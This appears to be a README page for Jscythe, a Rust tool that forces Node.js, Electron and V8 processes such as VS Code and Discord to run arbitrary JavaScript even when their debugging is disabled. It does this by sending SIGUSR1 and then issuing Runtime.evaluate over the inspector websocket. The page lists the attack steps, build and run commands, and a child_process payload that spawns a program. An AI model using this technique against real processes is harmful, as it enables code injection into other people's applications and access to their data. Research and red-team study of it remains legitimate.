Jscythe : Force Any Node.Js/Electron/V8 Based Process To Execute Arbitrary Javascript Code

Jscythe abuses the node.js inspector mechanism in order to force any node.js/electron/v8 based process to execute arbitrary javascript code, even if their debugging capabilities are disabled.

Tested and working against Visual Studio Code, Discord, any Node.js application and more!

How?

1. Locate the target process.
2. Send SIGUSR1 signal to the process, this will enable the debugger on a port (depending on the software, sometimes it’s random, sometimes it’s not).
3. Determine debugging port by diffing open ports before and after sending SIGUSR1.
4. Get the websocket debugging URL and session id from http://localhost:<port>/json.
5. Send a Runtime.evaluate request with the provided code.
6. Profit.

Building

cargo build --release

Running

Target a specific process and execute a basic expression:

./target/debug/jscythe --pid 666 --code "5 - 3 + 2"

Execute code from a file:

./target/debug/jscythe --pid 666 --script example_script.js

The example_script.js can require any node module and execute any code, like:

require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout

Search process by expression:

./target/debug/jscythe --search extensionHost --script example_script.js

Other Options

Run jscythe --help for the complete list of options.